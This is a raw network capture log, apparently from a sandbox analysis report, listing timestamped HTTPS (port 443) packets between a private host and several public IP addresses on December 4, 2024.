Dec 4, 2024 16:11:24.413427114 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:24.413451910 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.413518906 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:24.413518906 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:24.519586086 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.519608021 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.519682884 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:24.519705057 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.519792080 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:24.536686897 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.536705971 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.536778927 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:24.536787987 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.536871910 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:24.551942110 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.551959991 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.552110910 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:24.552124023 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.552448988 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:24.564930916 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.564954996 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.565239906 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:24.565251112 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.565408945 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:24.579864025 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.579933882 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:24.580028057 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:24.580105066 CET	49755	443	192.168.2.12	13.107.246.43
Dec 4, 2024 16:11:24.580131054 CET	443	49755	13.107.246.43	192.168.2.12
Dec 4, 2024 16:11:27.477087975 CET	443	49739	172.217.171.228	192.168.2.12
Dec 4, 2024 16:11:27.477175951 CET	443	49739	172.217.171.228	192.168.2.12
Dec 4, 2024 16:11:27.477260113 CET	49739	443	192.168.2.12	172.217.171.228
Dec 4, 2024 16:11:27.672528028 CET	49739	443	192.168.2.12	172.217.171.228
Dec 4, 2024 16:11:27.672569036 CET	443	49739	172.217.171.228	192.168.2.12
Dec 4, 2024 16:11:47.027077913 CET	49709	443	192.168.2.12	173.222.162.60
Dec 4, 2024 16:11:47.027123928 CET	443	49709	173.222.162.60	192.168.2.12
Dec 4, 2024 16:11:47.027578115 CET	49830	443	192.168.2.12	173.222.162.60
Dec 4, 2024 16:11:47.027614117 CET	443	49830	173.222.162.60	192.168.2.12
Dec 4, 2024 16:11:47.027812958 CET	49830	443	192.168.2.12	173.222.162.60
Dec 4, 2024 16:11:47.028115988 CET	49830	443	192.168.2.12	173.222.162.60
Dec 4, 2024 16:11:47.028134108 CET	443	49830	173.222.162.60	192.168.2.12
Dec 4, 2024 16:11:48.366126060 CET	443	49830	173.222.162.60	192.168.2.12
Dec 4, 2024 16:11:48.366218090 CET	49830	443	192.168.2.12	173.222.162.60
Dec 4, 2024 16:11:50.490050077 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:50.490096092 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:50.490195036 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:50.490566969 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:50.490583897 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:52.212088108 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:52.212266922 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:52.214288950 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:52.214298964 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:52.214503050 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:52.225123882 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:52.271334887 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:52.732918024 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:52.732944965 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:52.732960939 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:52.733074903 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:52.733104944 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:52.733120918 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:52.733156919 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:52.909955978 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:52.909982920 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:52.910042048 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:52.910068035 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:52.910084963 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:52.910108089 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:52.947948933 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:52.947974920 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:52.948024988 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:52.948050022 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:52.948071957 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:52.948088884 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.275537014 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.275553942 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.275620937 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.275700092 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.275727987 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.275746107 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.275765896 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.343303919 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.343338013 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.343502045 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.343530893 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.343590975 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.344257116 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.344273090 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.344336987 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.344342947 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.344388008 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.345980883 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.345995903 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.346046925 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.346052885 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.346093893 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.347889900 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.347909927 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.348022938 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.348040104 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.348099947 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.420449972 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.420483112 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.420546055 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.420574903 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.420593023 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.420615911 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.475588083 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.475615978 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.475709915 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.475737095 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.475806952 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.496783972 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.496809959 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.496886015 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.496907949 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.496953011 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.514240980 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.514271975 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.514358044 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.514383078 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.514427900 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.530790091 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.530826092 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.530987024 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.531008959 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.531052113 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.539474010 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.539566994 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.539589882 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.539628983 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.539673090 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.539690971 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.539706945 CET	49831	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.539712906 CET	443	49831	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.579061985 CET	49832	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.579104900 CET	443	49832	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.579178095 CET	49832	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.579555988 CET	49832	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.579572916 CET	443	49832	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.581114054 CET	49833	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.581161022 CET	443	49833	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.581228971 CET	49833	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.581599951 CET	49833	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.581614971 CET	443	49833	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.583260059 CET	49835	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.583271980 CET	443	49835	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.583282948 CET	49834	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.583298922 CET	443	49834	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.583327055 CET	49835	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.583374977 CET	49834	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.583497047 CET	49835	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.583507061 CET	443	49835	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.584418058 CET	49836	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.584460974 CET	443	49836	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.584521055 CET	49836	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.584635019 CET	49834	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.584642887 CET	443	49834	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:53.584738970 CET	49836	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:53.584753990 CET	443	49836	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.302475929 CET	443	49832	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.303092003 CET	49832	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.303121090 CET	443	49832	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.303613901 CET	49832	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.303622961 CET	443	49832	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.304393053 CET	443	49834	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.304733038 CET	443	49836	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.304757118 CET	49834	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.304770947 CET	443	49834	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.305023909 CET	49836	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.305068016 CET	443	49836	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.305464029 CET	49836	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.305471897 CET	443	49836	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.305516005 CET	49834	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.305525064 CET	443	49834	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.307168961 CET	443	49833	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.308260918 CET	443	49835	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.308864117 CET	49833	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.308864117 CET	49833	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.308864117 CET	49835	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.308864117 CET	49835	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.308887005 CET	443	49833	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.308898926 CET	443	49833	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.308911085 CET	443	49835	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.308917046 CET	443	49835	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.738998890 CET	443	49836	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.739068031 CET	443	49836	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.739124060 CET	49836	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.739320993 CET	49836	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.739341021 CET	443	49836	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.739352942 CET	49836	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.739358902 CET	443	49836	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.742140055 CET	49837	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.742182016 CET	443	49837	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.742249012 CET	49837	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.742398024 CET	49837	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.742408991 CET	443	49837	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.742814064 CET	443	49832	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.742820024 CET	443	49833	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.742840052 CET	443	49832	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.742889881 CET	443	49833	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.742897034 CET	49832	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.742909908 CET	443	49832	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.742952108 CET	49833	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.742990971 CET	49832	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.743103981 CET	49832	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.743103981 CET	49832	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.743112087 CET	443	49832	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.743257046 CET	49833	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.743257046 CET	49833	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.743273020 CET	443	49833	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.743284941 CET	443	49833	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.743287086 CET	443	49832	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.743326902 CET	443	49832	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.743431091 CET	49832	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.743980885 CET	443	49834	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.744009018 CET	443	49834	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.744076014 CET	49834	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.744083881 CET	443	49834	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.744195938 CET	49834	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.744195938 CET	49834	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.744204044 CET	443	49834	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.744220018 CET	49834	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.744342089 CET	443	49834	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.744374037 CET	443	49834	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.744486094 CET	49834	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.747340918 CET	49838	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.747371912 CET	443	49838	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.747428894 CET	49838	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.747920036 CET	49839	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.747937918 CET	443	49839	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.747987986 CET	49839	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.748573065 CET	443	49835	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.748603106 CET	443	49835	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.748672962 CET	443	49835	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.748780012 CET	49835	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.748780012 CET	49835	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.748780012 CET	49835	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.748780012 CET	49835	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.749469042 CET	49840	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.749485970 CET	443	49840	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.749625921 CET	49840	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.750813961 CET	49841	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.750843048 CET	443	49841	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.750984907 CET	49841	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.751144886 CET	49838	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.751157999 CET	443	49838	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.751229048 CET	49840	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.751230001 CET	49841	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.751238108 CET	443	49840	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.751241922 CET	443	49841	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:55.751250982 CET	49839	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:55.751264095 CET	443	49839	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:56.056571007 CET	49835	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:56.056593895 CET	443	49835	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.470995903 CET	443	49839	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.471519947 CET	49839	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.471549034 CET	443	49839	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.472106934 CET	49839	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.472111940 CET	443	49839	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.472480059 CET	443	49838	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.472601891 CET	443	49841	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.472764969 CET	49838	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.472794056 CET	443	49838	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.473023891 CET	443	49840	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.473496914 CET	49838	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.473503113 CET	443	49838	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.473608017 CET	49841	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.473625898 CET	443	49841	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.473819017 CET	49840	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.473831892 CET	443	49840	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.474026918 CET	49841	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.474034071 CET	443	49841	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.474571943 CET	49840	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.474576950 CET	443	49840	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.910249949 CET	443	49839	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.910331964 CET	443	49839	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.910418987 CET	49839	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.910618067 CET	49839	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.910640955 CET	443	49839	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.910653114 CET	49839	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.910659075 CET	443	49839	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.911233902 CET	443	49841	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.911302090 CET	443	49841	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.911355972 CET	49841	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.911463022 CET	49841	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.911482096 CET	443	49841	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.911495924 CET	49841	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.911504030 CET	443	49841	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.913669109 CET	49842	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.913707018 CET	443	49842	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.913722992 CET	49843	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.913748026 CET	443	49843	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.913813114 CET	49842	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.913957119 CET	49843	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.913957119 CET	49843	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.913980961 CET	443	49843	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.914033890 CET	49842	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.914046049 CET	443	49842	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.914988041 CET	443	49840	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.915051937 CET	443	49840	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.915096998 CET	49840	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.915205002 CET	49840	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.915214062 CET	443	49840	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.915235996 CET	49840	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.915241957 CET	443	49840	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.917535067 CET	49844	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.917563915 CET	443	49844	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.917634964 CET	49844	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.917774916 CET	49844	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.917787075 CET	443	49844	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.932105064 CET	443	49838	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.932185888 CET	443	49838	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.932245970 CET	49838	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.932353973 CET	49838	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.932373047 CET	443	49838	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.932384968 CET	49838	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.932390928 CET	443	49838	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.934746981 CET	49845	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.934767962 CET	443	49845	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:57.934838057 CET	49845	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.935108900 CET	49845	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:57.935122013 CET	443	49845	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:58.336982965 CET	443	49837	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:58.337795019 CET	49837	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:58.337821007 CET	443	49837	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:58.338232994 CET	49837	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:58.338238001 CET	443	49837	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:58.771927118 CET	443	49837	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:58.772003889 CET	443	49837	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:58.772064924 CET	49837	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:58.772335052 CET	49837	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:58.772353888 CET	443	49837	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:58.772367001 CET	49837	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:58.772377968 CET	443	49837	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:58.775440931 CET	49846	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:58.775464058 CET	443	49846	13.107.246.63	192.168.2.12
Dec 4, 2024 16:11:58.775559902 CET	49846	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:58.805855989 CET	49846	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:11:58.805886030 CET	443	49846	13.107.246.63	192.168.2.12
